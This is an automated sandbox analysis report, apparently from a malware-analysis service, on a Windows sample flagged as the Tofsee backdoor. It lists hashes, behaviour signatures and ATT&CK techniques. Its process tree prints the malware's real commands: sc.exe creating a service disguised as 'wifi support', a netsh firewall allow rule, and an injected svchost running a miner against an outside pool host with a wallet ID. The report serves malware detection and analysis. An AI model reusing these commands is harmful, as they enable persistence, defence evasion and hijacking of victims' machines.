Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    15-11-2020 23:22

General

  • Target

    9d71a3a135f9e3b9de7024d85f1c59f809796db6114974236462740f262c6c83.exe

  • Size

    14.9MB

  • MD5

    8d70d33692835a054cc3d98b593dd05a

  • SHA1

    bf1cec9d3ab53be4827076e2d15313e6fe8e99e6

  • SHA256

    9d71a3a135f9e3b9de7024d85f1c59f809796db6114974236462740f262c6c83

  • SHA512

    cf9536aea51c3d22385323ea4401d55570dd3235daf202d9775c4d3c223e38d56e48c20e07858f2ce086d080dad1cf5a19a1abd590b3728794775609a9f7996f

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 19 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9d71a3a135f9e3b9de7024d85f1c59f809796db6114974236462740f262c6c83.exe
    "C:\Users\Admin\AppData\Local\Temp\9d71a3a135f9e3b9de7024d85f1c59f809796db6114974236462740f262c6c83.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3372
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 548
      2⤵
      • Program crash
      PID:4068
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 676
      2⤵
      • Program crash
      PID:3356
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 724
      2⤵
      • Program crash
      PID:188
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 780
      2⤵
      • Program crash
      PID:940
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 832
      2⤵
      • Program crash
      PID:2328
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 700
      2⤵
      • Program crash
      PID:3064
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 948
      2⤵
      • Program crash
      PID:4080
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lxbckwcb\
      2⤵
        PID:700
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 992
        2⤵
        • Program crash
        PID:1344
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 740
        2⤵
        • Program crash
        PID:3200
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ikdovdrh.exe" C:\Windows\SysWOW64\lxbckwcb\
        2⤵
          PID:588
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 992
          2⤵
          • Program crash
          PID:3908
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 764
          2⤵
          • Program crash
          PID:1640
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lxbckwcb binPath= "C:\Windows\SysWOW64\lxbckwcb\ikdovdrh.exe /d\"C:\Users\Admin\AppData\Local\Temp\9d71a3a135f9e3b9de7024d85f1c59f809796db6114974236462740f262c6c83.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2456
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 1000
            2⤵
            • Program crash
            PID:2880
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 776
            2⤵
            • Program crash
            PID:3552
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description lxbckwcb "wifi internet conection"
            2⤵
              PID:3608
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 508
              2⤵
              • Program crash
              PID:2408
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 776
              2⤵
              • Program crash
              PID:2432
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start lxbckwcb
              2⤵
                PID:2708
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 1020
                2⤵
                • Program crash
                PID:976
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 508
                2⤵
                • Program crash
                PID:1832
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1864
              • C:\Windows\SysWOW64\lxbckwcb\ikdovdrh.exe
                C:\Windows\SysWOW64\lxbckwcb\ikdovdrh.exe /d"C:\Users\Admin\AppData\Local\Temp\9d71a3a135f9e3b9de7024d85f1c59f809796db6114974236462740f262c6c83.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3104
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3104 -s 576
                  2⤵
                  • Program crash
                  PID:1076
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1276
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1128
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3104 -s 588
                  2⤵
                  • Program crash
                  PID:3136

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              2
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              3
              T1112

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\ikdovdrh.exe
                MD5

                19309bc608eccaa1af4bdb641995701a

                SHA1

                c705f2c3e802612eb43504e60d7b36b29edf28db

                SHA256

                4ad86e49596784e9c8185173ef7b2ba12ed075ca1da0f84609502ec41d68cba6

                SHA512

                54e47e03a069a5bb02f81a75e21e8da6ca0bb27e6ede5c81d97ec1af9c4ed0b5f4687e1542654bb9f7e2153cf308e07e211cdcf252487b3433db73e92d228a3c

              • C:\Windows\SysWOW64\lxbckwcb\ikdovdrh.exe
                MD5

                19309bc608eccaa1af4bdb641995701a

                SHA1

                c705f2c3e802612eb43504e60d7b36b29edf28db

                SHA256

                4ad86e49596784e9c8185173ef7b2ba12ed075ca1da0f84609502ec41d68cba6

                SHA512

                54e47e03a069a5bb02f81a75e21e8da6ca0bb27e6ede5c81d97ec1af9c4ed0b5f4687e1542654bb9f7e2153cf308e07e211cdcf252487b3433db73e92d228a3c

              • memory/588-3-0x0000000000000000-mapping.dmp
              • memory/700-2-0x0000000000000000-mapping.dmp
              • memory/1128-26-0x000000000049259C-mapping.dmp
              • memory/1128-24-0x0000000000400000-0x00000000004F1000-memory.dmp
                Filesize

                964KB

              • memory/1276-23-0x00000000029F0000-0x00000000029F7000-memory.dmp
                Filesize

                28KB

              • memory/1276-22-0x0000000008DD0000-0x00000000091DB000-memory.dmp
                Filesize

                4.0MB

              • memory/1276-18-0x0000000004640000-0x000000000484F000-memory.dmp
                Filesize

                2.1MB

              • memory/1276-21-0x0000000002990000-0x0000000002995000-memory.dmp
                Filesize

                20KB

              • memory/1276-20-0x0000000002980000-0x0000000002990000-memory.dmp
                Filesize

                64KB

              • memory/1276-19-0x0000000000840000-0x0000000000846000-memory.dmp
                Filesize

                24KB

              • memory/1276-13-0x0000000000810000-0x0000000000825000-memory.dmp
                Filesize

                84KB

              • memory/1276-14-0x0000000000819A6B-mapping.dmp
              • memory/1864-9-0x0000000000000000-mapping.dmp
              • memory/2456-5-0x0000000000000000-mapping.dmp
              • memory/2708-7-0x0000000000000000-mapping.dmp
              • memory/3104-12-0x00000000012F0000-0x00000000012F1000-memory.dmp
                Filesize

                4KB

              • memory/3104-11-0x00000000012F0000-0x00000000012F1000-memory.dmp
                Filesize

                4KB

              • memory/3104-10-0x0000000000AFA000-0x0000000000AFB000-memory.dmp
                Filesize

                4KB

              • memory/3372-0-0x0000000000BD0000-0x0000000000BD1000-memory.dmp
                Filesize

                4KB

              • memory/3372-1-0x0000000002890000-0x0000000002891000-memory.dmp
                Filesize

                4KB

              • memory/3608-6-0x0000000000000000-mapping.dmp